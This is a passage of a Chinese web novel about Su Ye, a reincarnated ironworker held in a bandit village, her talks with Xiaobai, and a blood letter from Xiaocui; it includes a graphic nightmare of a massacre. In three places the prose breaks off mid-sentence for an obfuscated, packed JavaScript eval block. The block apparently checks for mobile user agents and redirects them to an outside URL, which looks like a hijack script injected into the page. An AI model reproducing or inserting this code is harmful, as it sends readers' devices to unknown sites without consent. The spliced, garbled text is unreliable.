这是实话，他语气间带着几分铿锵。 “何事找你？”苏冶追问。 小白抬眼看向她，日光从他眉骨间漏下，映得他眸色深深。 “你的事。” 这句是假话，他的语气依旧铿锵。 她的事？ 苏冶心下诧异，不由挑眉，“我有何事，她须得从你这处打听？” 小白：“她想知道，你冶铁的手艺都是从何处习得？” 这话让苏冶顿了下，她望向远处几寸枯草，才缓缓回道： “我不是早同她说过？” 小白：“她未必信。” 苏冶失笑，摇了摇头，“那她又能从你这里问出些什么，我同你说的，不也都是一样的话……” 话音未落，她突然意识到，这场由她发起的质问，不知何时已调转了身份，她变成了被问的那个。 果不其然，小白不再说话，只静静看着她，像是在等待她的下一句。 苏冶本可绕过这茬，重新将话语权握回手中，但此时此刻，她突然不想与对面人话里藏锋彼此试探。 因为那人曾在她因为缺乏肉类导致食欲萎缩时给过她肉包子，也在月亮下面有一句没一句同她说过话解过闷儿。 “那你呢，你信吗？” 问出口的刹那，她已经准备好迎接质疑——她先前编造的那套身世本就漏洞百出，经不起推敲。 可她没有等到预想中的追问。 几乎在她话音未落的同时，小白便已开口： “我信。” 他声音不高，却极清晰。 苏冶闻言不由得一愣，但也只有一下，随即笑道： “你不信也没关系，我总归不会多说些什么。” 说罢，不等小白开口，她便转身离去。 走了几步后，却又停了下来，转过头对他说： “既没有什么事，快些来河边吧，一会儿那些人找不到你，要吃苦头。” 小白颔首，几步上前，跟在她身后，却始终没有与她走到并肩的位置。 俩人一路无话。 土夯的地面轻浮着不成气候的扬尘，路上只余空荡的脚步声。 到打谷场时，苏冶和他分道扬镳，一个往河边去，一个住处去。 分开之时，小白回头看了一眼苏冶，对方并未注意到他的视线，径自朝着相反方向而去。 他盯着那道背影，想到了赵玉芬的话——“人寻到了吗？” —— 过了正午，苏冶列好了采买单子，拖赵二送去给赵大娘，此番的采买对材料要求不高，倒不用她跑一趟把关。 这倒也省事，她每出一趟哑沟，赵玉芬必得留第三只眼睛盯着她，实则她那时根本就没有逃跑的心思，白费了她一番苦心。 如今能省些气力，她也乐得自在。 院里静悄悄的，除了除了杨千在东屋补觉，就只剩苏冶一人，采买的东西最快也得明早才能送到哑沟，她这个“技术顾问”侥幸偷得半日闲，什么也不想做，只想缩在床上睡到天昏地暗，将这些日子被折磨到异常的作息给调回来。 只是闭上眼后，预想中的好眠没来问候，前些日子拜访过她的那片血光却再次蒙了她的眼。 这一次，那片血色里的景象更清晰了，她看不到自己，却能看到周围的一切。 —— 她似乎站在一条长街的中央，两侧的铺子早已被砸烂，货架倾倒，混着血污的青布铺一地。 她看到有人被按在碾药的青石臼前，有人狞笑着提起他的头，将他的脸按进还在转动的石槽里，骨碎声混着凄厉的哀嚎，血浆从臼槽边缘溢出来，向前蜿蜒。 她的视线继续向前爬，沿街的柳树上吊满了尸体，男人、女人，还有孩童。 正有人坐在树下喝酒，每喝上一口，便挥刀砍断一根绳子，绳子末端的躯体便砸落在地，像烂果子，头颅滚进沟渠，路边的野狗瞧见后，过来抢食。 忽然，树下那人似乎察觉到了什么，径直朝她的方向看来，那双眼睛里泛着血丝，带着几分麻木，又似裹着些兴奋。 她感觉到一前所未有的恐惧包裹着她，她似乎没有站稳，倒在了地上。 那一刻，她突然想到，电视剧里演的未必都是假的，人在怕极了的时候，真的会没有力气。 站不起来，她只能贴着墙根爬行，自始至终都不敢回头。 不知道爬了多久，她听见一阵尖锐的哭喊，向前看去，几个穿着盔甲的人正围着一个年轻妇人，那女人的襦裙已被撕烂，怀里死死抱着一个三四岁的孩子，其中一人揪住孩子的头发，像拎牲口一样提起来，那孩子踢蹬着腿，哭得撕心裂肺，女人扑上去，却被一脚踹倒，刀光一闪，她的手臂齐肩而断，血喷出数尺，溅在墙上。 哭声戛然而止。 她咬住手背，却听到有人在笑，那人蹲下身，用刀尖挑起那团血肉模糊的躯体，甩进了一旁燃烧的废屋，焦臭味混着浓烟，熏得她作呕。 就在那些头颅往相继往她脚边滚的时候，刀剑声和喊杀声里多了一道声音，虽附在自己耳边，却不似在对她说话。 “贪条命。” 那道声音响起的刹那，四周蓦地一静，所有动静都被抽离，她只能听到那人的声音。 颠簸之中，身后似有马蹄声不断传来，她手里似乎握着一条缰绳，越攥越紧，即要嵌进血肉，那些追着她的声音却愈来愈紧。 直到阵阵声响将她猛然惊醒。 她睁开眼，手心尽是冷汗。 “咚——咚——” 似乎还有声音萦绕耳际，她下意识打了个哆嗦，直到一只手覆上了她的肩膀。 “怎么了这是，出这一身汗……” 王喜的声音传来时，苏冶的思绪才彻底地落回到现实中。 那声响还在持续，苏冶循声望去，是屋子外面，有人正敲门。 她转头看向王喜，对方正坐在床边，一脸忧色看着自己，见苏冶醒来，她起身朝门口走去，并未开门，只朝着屋外扬声道：“这就来。” 说罢又会带床前 她不知苏冶是梦见了什么，总之自己从未见过她这般神色，面上笼罩着一层阴影，唇色尽失，眼下还浮起一层淡淡的青。 本想问些什么，可话到嘴边，又咽了回去。 最后，王喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236544|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只轻声问道： “你可还好？” 脑中的嗡鸣声已逐渐散去，看王喜的反应，苏冶知晓自己此刻模样有些吓人，怕她担心，嘴角勉强扯出一丝笑 “没事，梦到了些不快活的东西，索性醒了。”说着，想起刚才的敲门声，“昨日定的炉料怕是道了，我得快些去河边。” 王喜见她就要起身，忍不住道：“身上还没好利索，便是同赵大娘说上几句，再多歇上几日也无妨。” 苏冶笑道：“昨个正午回来，一觉睡到了现在，你们日日早出晚归，我比不得你们辛苦，说到底，我是个干活的，不是他们请来伺候的祖宗，躺一天他们心里便不是滋味，如此下去，指不定哪天又挨一顿棒子。” 王喜知道说不动她，也不再劝。 “行，那你收拾下，我去伙房，顺道同你走一段。” 苏冶点头应下。 —— 到河边时，如她所料，改制炉子所需的用料已经堆在炉旁干燥处。 河滩边上那座炉子已经烧了起来，鼓风箱来回拉动，时不时有火星子从炉口喷出来，混着些黑烟，在风里散成细碎的红点，又很快暗下去。 炉旁看火的人都同昨日一般，灰布短褂，袖口卷到肘弯，露出晒得发红的手臂。 有几个她昨日不曾见过，想来是今日换了下去。 钟应还没来，许是带着看过几日，这些人多少熟练几分，不必他时时盯着。 今日当值的人里，苏冶看到了小白，火才烧不久，他脸上尚且干净，站在人堆里，一眼便能注意到。 许是觉察到苏冶目光，对方也看了过来，视线甫一相接，苏冶便自然地移开眼，转身朝着河边走去。 这会儿是早上，河水尚且清浅，她蹲下身，能看见底下的卵石和偶尔游过的小鱼，岸边的石头里还有冒出的新叶，梢头随风摇晃，不远处几只麻雀跳在芦苇秆上，又扑棱棱飞向对岸的杨树林。 此情此景，她一时间有些恍惚，仿佛回到了前世跟着考古队住在山脚土胚房的日子，那时屋前也有这么一条河，某次遇上断电，她一个人蹲在河边，随意拣了根树枝在河边泥滩上画探方图，等到了晚上看不清的时候，她便躺在草垛上辨认星座，北斗七星的勺柄指着远处矿山…… “愣甚呢，不快些上工。” 赵二的粗嗓门打断了她怀缅过去的进程，她也不搭理，只打了个哈欠，轻揉了一下眼睛，便站起身，朝身后炉子走去。 随意捡起一块黏土砖，掂量几下后，苏冶忍不住道：“你们倒真是会省钱，净是挑最便宜的。” 赵二听她这样说，面上有些挂不住，“掌柜的可说这是上品。” “嗯，上品。” 苏冶语气淡淡，点头应和。 那模样看得赵二心虚又想骂人，但想到兜里银子落了不少，还是憋了回去，想着不同这没见识的妇人计较。 此番用料苏冶没有把关，其一是加浇注对这层的要求没有搪炉高。 至于其二嘛……得保证这炉子在三十日后寿终正寝，自然不能喂太好的料。 心念转动间，她已经撸起了袖子。 前世今生，她已经数不清自己多少次站在这个黑黢黢的大家伙前，闻着它渗出的铁锈味儿。 与她而言，那股味道像是她的某个故人，既有旧日熟悉的温暖，又有久别重逢的欣喜。 面前的一切，似乎早已钻进了她的骨头里，成了她剔除不掉的一部分。 19.夜谈 “这东西瞧着方便啊？” 说着，来人聪将手掌按在与直浇通道相接的浇口杯上。 “方便是方便，但不是方便你，接下来这一个月，你们怕是比从前还要忙些。” 来人聪眼睛一亮：“为何是一月，难不成一月之后，便不用再忙了” 苏冶瞥了他一眼，这厮真会抓重点，只是此刻虽天色已晚，四周虽无人影，也不便多说些什么，她只转头看向杨千： “杨大哥，明日一早，还是得由你们同我一道起火。” 这几日她不是没有察觉，村里诸人对她多少存着疑虑，其间还有些怨念，如今炉子又经改动，还是得由她先打样，才能令人信服。 如今是晚上，已经散了工，苏冶特地留住了河边来人聪三人，同他们交代这些事情。 杨千见她这样说，连忙道： “莫要这么说，今日赵大娘遣人找了我们几个，一人手里落了些钱，我才晓得，你在曹经处替我们打点了这许多，为此自己还吃了苦头，此后但凡有事，我们必定都走到前头帮着你，不让你自个儿担着。” 杨千生得魁梧粗犷，内里却是个细心人，说话做事都周到。 苏冶知晓自己并不只是为了他们才挨的打，但杨千这样说，她还是感激的。 这些日子做事，他和王喜都没少对她表露善意，便是来人聪，纵使平日里勤动嘴少动手，关键时候敲打几句倒也能做好自个儿，还有小白。 想着，苏冶抬眼朝他望去，几人聚在一处时，他总是沉默居多，此刻也不例外，静站在阴影中，仿佛与夜色融在一处。 她突然想起，自打上次去赵玉芬处找过他以后，俩人便没有再说过一句话。 但这几日确实忙，她忙着改炉看火，小白亦是轮值添柴，几乎不得空闲。 他性子内敛，往日俩人之间若是有话，多半是苏冶先开口，这几日她忙，两人之间就像断了线的风筝，再没交集。 似乎觉察到她的注视，小白微微抬起眼，俩人的目光在昏暗中轻轻一碰，却是他先偏开了头。 那一刻，苏冶立即确定，俩人之间应该是出了些问题。 但是性格使然，她鲜少愿意将心力耗在这些弯弯绕绕上，于是只敛了心神，开口道： “明日便要起炉，这次与以往不同，起了火，便不再熄，咱们轮番守三日，之后再换下一班人手。” “行。” “得嘞。” 陆续应声后，几人一道往回走。 —— 回到住处，王喜早已先一步回来了。 虽白日忙活整日，晚上回来，王喜还是习惯性将屋里上下都打扫了一遍，苏冶见她正擦桌案，便上前帮手。 “你快歇着罢，我不似你们白日里辛苦，就两顿饭，大把时间坐在伙房里，清闲。” 苏冶笑道：“谁若是同你住一屋，真正是几世修来的福气。” 话虽如此，她还是弯腰拎起装满污水的木桶，朝门口走去。 不料刚拉开门栓，一道人影便将她的视线堵了个严实。 苏冶一时没收住脚，差点撞上来人。 等她站稳抬头，才看清面前是谁 “我想找你……” 对方话还未说完，王喜的声音已从身后传来： “怎么了？” 到门口时，王喜看见了小白，有些意外。 “白兄弟怎么来了？”说话间，她目光不自觉瞟向苏冶。 小白还未开口，苏冶便道：“有些事情，我同他出去说说。” 说罢，她拎起地上木桶跨出门槛。 小白见状上前一步，接过她手里东西，苏冶也没推辞，任由他拎着，跟在他身后出了屋。 王喜看着俩人离去背影，微微怔了怔，不过很快，便关上了门。 —— 污水泼尽，苏冶接过空桶，抬眼看向小白。 “方才你说要找我？” 小白点了点头，夜色中他的轮廓显得有些模糊。 “可是有事？”苏冶又问。 小白沉默片刻后，还是开口： “那日的事，我想同你道歉。” 苏冶既察觉到了俩人之间气氛有异，也不故作糊涂。 “那日我也不对，许是觉着你有事瞒着我，便有些质问的意思。” 小白听她这样说，摇头。 “是我言辞不过。” 对于俩人此刻互赔不是的情境，苏冶觉得有些好笑。 她将这件事仔细想了想，说道： “那时我觉得你有事瞒着我，如今也是，可我想清楚了许多，不会再追问你，而且从一开始，我也骗了你。” 小白闻言神色微动。 苏冶坦然道：“我只能告诉你，关于我的那些过去，三分真七分假，而你……” 她看向小白。 “你有没有瞒着我，瞒着别人，都不打紧，是你自己的选择，我可以不在意。” “但是有一点……” 她的语气稍稍沉下去些，带着些不容含糊的坚决。 “你和我是站在同一处的人。” 苏冶看事情往实处落，她清楚，人与人之间，最低处其实落在了一个“利”字上。 若有人站在了她利益的对立面，便是站在了她的对立面。 至于其它，她觉得不重要，每个人都有过去，能聚在一处，走上一程便是情分，何必事事都追究到底。 只要那人不曾有意伤害过她，那么他们之间发生的所有事情，她习惯性记住好的，忘掉不满的。 正如小白，从他来到哑沟，第一次见面起，她便能感觉到，他身上藏着秘密，一眼看去，他过去不似王喜和杨千他们那般清晰明了。 可她觉得，即便有一天他们能做相互搀扶的朋友，她也未必要知道他的全部。 苏冶话音落下后，小白默了半晌，一直没有直视她。 不知过了多久，他才轻声道： “好。” 随即抬眼，望入她的眼睛： “我记住了。” 苏冶瞧他面上神色有些凝重，不由笑了笑，缓和气氛道： “我们这般，倒像是……” 她本想说情侣吵架，话到嘴边又觉着不妥。 小白见她欲言又止，追问道： “像什么？” 苏冶想了下，临时改口道道：“娘亲教训儿子。” 话音刚落，小白微微一怔，随即唇角轻轻扬起。 苏冶看向他，“难得见你笑。” 小白：“我平日里不笑吗？” 苏冶听他这样问，仔细回想了下，如实道： “我大抵是没见你笑过。” 这倒是实话，小白大部分时候给人的感觉都是严肃且紧绷的，虽是一副少年模样，气质却十分老成。 不知怎的，她忽然想到了李三。 那人倒是恰恰相反，总是一副风轻云淡、万事不过心的模样。 也不知道他的神棍事业进来发展的如何，还会不会被路边的大爷大娘骂街。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247749|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我该多笑？” 小白的声音将她的思绪拉了回来，她随即摇头。 “你不笑，便是不爱笑，既如此，何必勉强。” 小白却道：“我笑起来不好？” 苏冶没料到他会这样问。 自然是好的，怎么会不好。 以他的模样，笑容于他而言是锦上添花。 “为什么这么问？”苏冶道。 “你刚才的样子，似乎觉着我笑起来很好。”小白道。 苏冶反应了过来，大抵是她刚才瞧见他笑得好看，觉着如沐春风，露出了几分花痴。 她笑道：“是啊，我是觉着你笑起来很好看，我瞧着也欢喜，但你性子本是个不爱笑的，何必为了让别人觉着好便去笑，兴许你平日里板着脸自在，依着你的本性便是。慈眉善目者招人亲近是没错，但你若是个冷心冷面的，做你自个儿比招人喜欢重要。” 苏冶说这话事眉目舒展，唇角带着清浅笑意。 小白静静望着她，不知为何，心里某处像是被什么轻轻触动，意外浮起一些异样的情绪。 如果非要说清楚，或许是……艳羡。 眼前这个人，一无所有，如今遭了意外困在这里，连自由也没有。 可她眉宇间似乎没有一丝黯然之色，就像那日，他见她浑身是伤躺在床上，同身边人说话，仍带着轻松笑意。 她好像……从来不觉得自己失去了什么。 想到这里，他不由问道： “你有失去过什么东西吗？” 苏冶听他这样问，怔了一下，没料想到话题竟被牵引到如此文艺的层面，但看着小白认真的神色，她便诚心答道： “有啊，很多。” 小白目光微动，带了些许探究。 苏冶没有直接回答，反问道： “你知道我为什么要日日守着那座炉子吗？” “为何？” 苏冶笑道：“因为那是我如今剩下唯一的东西了。” 她从另一个世界来到这里，一个完全陌生的地方，过去二十几年她所习惯和熟知的一切都消失了。 她记得刚来这里的时候，新奇撑不住她的不安和恐惧，直到后来，她去县里的时候看到了铁器铺子，她才觉得，她在这个世界找到了一处属于自己的根。 不知从何时开始，她的人生便围绕着“钢铁”二字转，她把自己几乎所有的精力都投入了其中，所以当她在这个世界看到那些她熟悉的东西时，她的不安和恐惧都消失了。 那是她年少时选择的路，她倾注心血的东西，没有人知道她在那些冰冷的铁块上投入了多少。 她笑着说： “但只要还抓住这个，我好像就不觉得我失去了什么。” 说罢，她转而望向他： “你有什么想要抓住的吗？” 话音落下，小白沉默良久，末了摇头。 “我不知道。” 苏冶笑了笑，说道：“那便先抓住此刻。” 她朝上指去，小白朝她所指看去，只见满天星子。 “我留意好些天了，就数今夜的星星最亮，你若睡不着，可以多看一会儿。” 说着，她忍不住掩口打了个哈欠，随即拍了拍小白的肩膀。 “我是困了，先睡一步。” 说罢便拎起地上木桶，转身朝着屋子走去。 小白仍然立在原地，看着她离去的背影，又抬头朝天上看去。 那里正悬着北斗，摇光的尾巴指着南方，格外明亮。 20.小翠 第二日早上，苏冶带着杨千几人到了河边，演示“新炉”的使用流程。 天色微明，河面上浮着薄薄一层雾气，水流潺潺，偶尔有鸟雀略过。 还有另一个炉子需要照看，今日轮值的其他人也陆续到了河边，目光不时瞥向苏冶他们这边，似对着炉子有些好奇。 杨千同村里人关系打得不错，凡有人问起，便道： “苏娘子改了这炉子，往后若用起来，既能省火又能省力。” 其中一汉子撇了撇嘴，不以为然：“不说省力，只说省火，省的是”东家”的炭，咱们这些人该出的力气，一分也少不了。” 来人聪眉头拧起，许是太闲，欲要上前理论几句，苏冶从身后叫住了他。 “干嘛？” “这人说话不在理，怎么就”不说省力”，我是状师，听不得没理的话，难能容人这般胡扯。” “……” 苏冶并不反驳，只道： “改天理论也可，炉子快要起火了。” 来人聪还要再说，身后却突然传来一道女生。 “聪哥。” 他整个人霎时僵住，脸色也变了。 苏冶循声望去，只见曹经立在不远处，身边还站着一个姑娘，赵二也跟在他们后头。 那姑娘目测和她年岁相仿，穿着件淡青色旧布衣，袖子微卷，露出半截手腕，衣服虽旧，却显得干净利落，头发用木簪随意挽起，余下发丝垂在肩上。 来人聪闻声回头，那姑娘便快步走来，身形瘦削，步履轻盈。 待她走近，苏冶才将她瞧得更清楚了些。 这是个很好看的女孩子，眉毛细长，眼睛清亮，肤色微暖，两颊略红。 “小翠……”来人聪语气里带着几分不可置信，“你怎么……” 恰在此时，曹经跟了上来。 还不待来人聪相问，被他叫小翠的姑抢先开口，语气有些激动。 “曹先生果真没骗我，你真的在此处。” 曹先生？ 一时间苏冶和杨千几人交换了延伸，目光中都带着一句话——“姓曹的在搞什么幺蛾子？” 小翠接下来的话却是解了众人的惑。 “当日我被孙家娘子赶出了府，凝香坊的钱妈妈收留了我，给了我份端茶倒水的活计，勉强糊口，可我日夜惦记着你身陷牢狱，心里就没踏实过。” “不曾想前些日子，坊里来了位县衙户房的爷，夸我手脚麻利，来了兴致同我说了几句闲话，我趁机打听你的事情，他却说，不曾在狱上见过你的名字，说要回去查查。” “这不过了几日，不曾等到那位爷来，曹先生却主动找上了我。” 说着，小翠转头看向曹经。 “曹先生同我说，莫要再与那位爷来往，也别再打听你的事情，只因你本要受重刑流放充军，他知你有冤，心有不忍，便使了法子将你救出，还替你寻了份活计，只是县里人多眼杂，相识甚多，你不便现身，便将我带来此处见你一面。” 小翠将来人聪从头到脚仔细打量了一遭，方道：“见你如今一切安好，我便安心了。” 她的话音落下后，四下一时寂静，周遭偷听着这趟热闹的人脸上都是一副难以形容的表情。 苏冶也差点失去了表情管理。 ？？？ 曹经果然是个人才……她暗忖。 反观来人聪，此刻却有些奇怪——平日里就属他表情丰富，此刻却意外有了表情管理。 他没有正面回应有关曹经的话，反倒绕开话题问小翠：“你说你在凝香坊做事？” 小翠脸上依旧挂着笑，语气轻巧道：“是啊，钱妈妈见我勤快，手脚利落，平日里做些洒扫的活计，颇照顾我。” 苏冶听着俩人的对话，心里升腾起几分酸涩。 显然，曹经将小翠带到他们面前，算准了他们不能告诉小翠真相，否则曹经便是破罐子破摔，小翠怕是会有危险。 来人聪为护她周全，不得不配合曹经演这出戏。 若此事只小翠一人生疑，曹经必然不费这个周折。 只是小翠刚刚提到，此时牵涉了第三个人——曹经的同僚，他怕是有些忌惮，所以带小翠来此处，等回到县里，让小翠出面替他圆场，便能替他省去一桩麻烦。 来人聪听她说完，脸上挤出了一丝笑意。 “你也瞧见了，我如今一切都好，曹大哥安顿我到此处，给了我糊口的活计，每日还有工钱，你也莫要担心，只管回县里好好过日子。” 苏冶默默听着，觉着俩人关系似不像当初来人聪说的那般简单，兴许他有些隐瞒。 想来也自然，当初几人初识，彼此心存戒备，怎能将自个人的事情全盘托出。 “既如此，我便放心了，只是……” 小翠看向来人聪，欲言又止。 却不想来人聪并不等她将话说完，抢道：“既见我安好，你便快些离去吧，曹先生将我安顿在此地不容易，你莫要给他惹麻烦。” 小翠只得点头。 “那聪哥你多保重，此后若有机会，我常再看你。” 以曹经的性子，只怕很难有以后，来人聪知道，但还是笑着应下 小翠转身走了几步后，对身旁的经道：“再劳烦曹先生件事情，我可否能去聪哥住的地方看看，替他收拾打点，也算是尽一份心，报他的恩情。” “自然是可以。” 此刻的曹经脸上带着那张圆润和善的面具，和苏冶初见他时别无二致。 他转头对赵二吩咐：“这里路生，你陪小翠姑娘一道去。” 赵二应声，正要动身，小翠却又指向某处。 “可否让那位姐姐同我一起，看她刚才同聪哥说笑，想来是关系亲近，能多问些聪哥的近况。” 曹经顺她所指望去。 这里除了小翠，还能有那哪个女子，自然是苏冶。 一旁赵二听着小翠的语气，脸上带着几分狎笑，悄悄附在曹经耳边低语几句，曹经也笑了，随即道： “也行，你去将她叫来。” 赵二点头，上前知会苏冶。 苏冶听着小翠叫她一道，觉着有些突兀，但也未说什么，点头应下，对一旁杨千几人说道： “你们先将木炭置好，待我回来起火。” 杨千点头。苏冶正要举步，却被来人聪一把拉住了胳膊。他自然听到了赵二的话。 苏冶回头，只见来人聪几分意味深长地看向她，极轻微地摇了摇头。 她明白了来人聪的意思——莫要让小翠知晓他的处境。 苏冶心下了然，微微颔首。 赵二将这一幕看在眼里，并未多说什么，这本也是曹经的意思。 “走吧。”赵二催促道。 苏冶点头，放下手里东西，几步上前，并排走到了小翠身边。 曹经并没有跟过来，只着赵二跟着她俩。 离了河边后，小翠主动开口：“姐姐怎么称呼？” 俩人年岁瞧着差不多，苏冶并不知谁大谁小，不过她倒也不介意，只道：“我姓苏，叫苏冶。” “那我便叫你苏姐姐。” 苏冶点点头，看向小翠，她说话的时候眉眼间总带着笑意，眼角微微垂下，眼睛像月牙一样，很是好看。 寒暄几句后，小翠话入正题。 “苏姐姐同聪哥关系很好吗？” 苏冶没料到她会这样问。 恰在此时，身后传来一阵轻嗤声，是赵二。 苏冶没搭理，对小翠道：“算不上，只恰巧住同一院子。” 小翠轻“嗯”一声，不再多言。 不知为何，苏冶总觉得小翠说话间语气有几分异样。 几分娇憨，其间又似有几分质问。 从面上看，小翠与来人聪关系大抵不简单，她应该是误会了苏冶和来人聪有些什么。 但苏冶又觉得有些不对劲。 只是此刻赵二跟在身后，想到来人聪的叮嘱，以免失言，她也不好多说些什么。 小翠见她不语，便主动说起了她同来人聪相识的种种。 “我十六时便同聪哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247750|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识了，那时我爹患了肺痨，没钱治病，挨不过去便没了，我用他留下不多的铜钱买了张席子，将他裹到城南街上，想要卖身葬父。” “便是在那时，我碰到了聪哥。” 说到这里时，小翠原本黯淡的眸光亮了些。 “他见我可怜，给了我银钱让我葬了我爹。” “后来我才知晓，他那时候也是落魄，身上没几个钱，却都给了我。” 小翠嘴角漾起浅浅笑意。 “后来呢？”苏冶忍不住问道。 小翠讲了接下去发生的事情，后续倒是和来人聪当初讲的差别不大。 如此看来，来人聪没如实交代的，便是他和小翠早已相识的情分。 二人说话间，已走到住处。 这是小翠突然脸红道： “我有些不大舒服，这里可有茅厕？” 苏冶见状指向院子里一侧，“我带你去吧。” 赵二却一把拉住了她，“你跟着干甚，这么小个麻雀窝，还能走丢不成，同我在此处守着便是。” 苏冶知晓赵二疑心，也想着跟进去，便同小翠指明了地方，同赵二在门口等着。 小翠去了有一阵子，赵二在门口等得无聊，一边跺脚一边调侃苏冶： “怎样，听着心里泛酸不？” 苏冶不知他抽什么疯，“什么？” 赵二以为她是装傻，嘿嘿一笑： “人姑娘方才句句都在敲打你，你还听不出来？她当自己是正主哩。” “你有病？”苏冶懒得与他废话 这人脑子里怕是也只能塞下这些无聊东西。 赵二见她翻白眼，只当是恼羞成怒，脸上依旧挂着一副混不吝的笑。 恰在此时，小翠从屋里出来，一手在小腹上，脸色苍白，瞧着是不太舒服。 苏冶看她这样，主动上前关切道：“怎么了，还好吗。” 小翠苍白的脸色强扯出笑意，“许是前日里贪嘴用了凉食，此刻不大舒服，劳烦姐姐带我去看眼聪哥的住处，我也顾不得细细收拾，瞧上一眼便走。” “好。” 苏冶点头，带着她走向东厢，赵二紧随其后。 门打开后，小翠并未进屋，只驻足在门口朝里面看，一言未发。 半晌后，小翠转头对苏冶道： “你们这屋子打扫的倒干净，想必有妥帖人，刚刚去茅厕亦是。” 赵二闻言在一旁揶揄，“那可不，苏娘子就是个妥帖人。” 苏冶此刻无比想给赵二一拳，小白这个室友的功劳不知怎的莫名扣在了她头上。 一旁小翠见状，面色明显有几分不好看，但还是笑道：“苏姐姐果真是个体贴人，你同聪哥在一处，他怕也不大记挂着我，烦你常与他说说，若有机会来县里，等外面风声松些，定要来看看我。” 苏冶本想开口解释，却隐隐觉着事情不是表面这样。 末了，只点点头。 “如此我便放心了。”小翠同她道别，转头看向赵二。 “我也快些回去吧，去趟县衙找人，将曹先生的事情解释清楚。” 赵二点头，对苏冶道： “你快些回去，莫要在此处偷闲。” 说罢，带着小翠朝门口走去。 苏冶看着俩人的背影，小翠始终将手放在小腹处。 刚刚从茅厕出来时，她脸色就有些苍白，莫不是小日子到了，见赵二在此处，有些难为情……等等！ 苏冶突然想到了什么，朝茅厕方向看去，脑子里浮现出了小翠刚刚的话—— “你们这屋子打扫的倒干净，刚刚去茅厕亦是……” 想着，她连忙朝着茅厕的方向跑去。 进去后，视线逡巡一圈后，看向了一旁墙上的竹篮。 她上前朝里看去，里面覆着块红布。 苏冶将红布揭开。 果不其然，红布下面覆着一块白色丝绢。 苏冶拿起来看，只见上面写满了字。 这里没有墨，是写字的人咬破了手指划上去的。 21.血书 “苏姑娘，为消曹经疑虑，方才多有冒犯，请转告聪哥，我知他身陷囹圄，且先与曹经周旋，待回县衙后不久，便会设法相救，报官清剿。苏姑娘身陷匪窝亦莫要丧念，我知女子不易，感念姑娘今日善意，不日必来相救。” 苏冶逐字看完小翠留下的字句，手不自觉攥紧了几分。 静立片刻后，她将手绢仔细折好，收入衣衫最里处贴衣藏妥，转身出院，院中老槐树的影子被拉的老长，她踏着树影朝河边行去。 —— 到河边时，杨千几人仍在原地等候。 来人聪一眼瞧见她，快步走近低声问道： “怎么样？” “无事，此刻应当已经出了哑沟。”苏冶语气平静答道。 说话时，她脸上露出了在来人聪面前少见的温和，来人聪心里却似堵着什么东西，闷得紧。 “且不说此事，”苏冶转身走向已经筛分过的矿堆，“今日起火才是紧要。” 她同小白说道： “同上次一般，先用木炭将生矿焙烧了，煅成红蓝二色的熟矿再入炉，火候照旧，我在旁替你看着……” 随即，杨千和来人聪也各自分派了任务。 矿料焙好后，几人依苏冶先前所说开始装炉，碎砖和碎瓦片铺在炉底通风，随后装好矿料和木炭。 炉装妥当后，中间火口被点燃，待浓烟冒起来，杨千点燃了两头的火口，小白开始拉动风箱。 风箱吱呀作响，苏冶手持长铁钩，不时拨弄炉口，偶尔溅起些火星子。 今日风不大，炉旁的热浪更甚。 许是日头太毒，苏冶总觉着空气中隐隐有股东西在压着她的心神，让她感觉到莫名的不安，她试图追溯这种不安的来处，思绪终究落回小翠那封血书。 那时赵二就在门口等着，小翠匆促间划破手指书写，心里必然惊惶，可即便时间紧迫，她还是用自己的血为苏冶这个的陌生女子多写了两句话。 一句是抱歉，叫她莫要误会她刻意的言语间带刺。 一句是宽慰，让她在这黑窑里莫要自暴自弃。 她想起白日里来人聪提到小翠如今所在凝香坊时，神色微微滞愣。 小翠说的对，如今的世道，女子不易，她大抵见过太多的辛苦事，故而为苏冶多受这一份疼。 而苏冶的不安，恰恰是来自这份手书。 如果可以，她希望自己不要看到这条丝绢，或者说，小翠心思没那么敏，未能识破曹经。 曹经在县衙基层摸爬滚打这么些年，走到今日，绝不是个心慈手软的主，小翠想要从她手里为他们谋出路，她没办法心安。 炉火渐旺，苏冶朝里面加了东西，杨千见状问道： “这是何物，前些日子不曾见你用过？” “羊头骨灰。”苏冶道。 杨千闻言有些新奇，“竟有这东西，倒是稀奇，是个甚讲究？” 苏冶：“这次购置来的矿料有些硬，加这东西好化些。” 羊头骨灰含磷丰富，苏冶过往考古的时候，发现过不少用这东西作熔剂的例子。 二人说话间，杨千的视线忽的朝着一旁来人聪处瞥去，苏冶也随之望去。 来人聪是个话多且怕闷的性子，换成以往，杨千过来同苏冶搭话时，来人聪必然已先他一步凑了上来，今日却是有些异常。 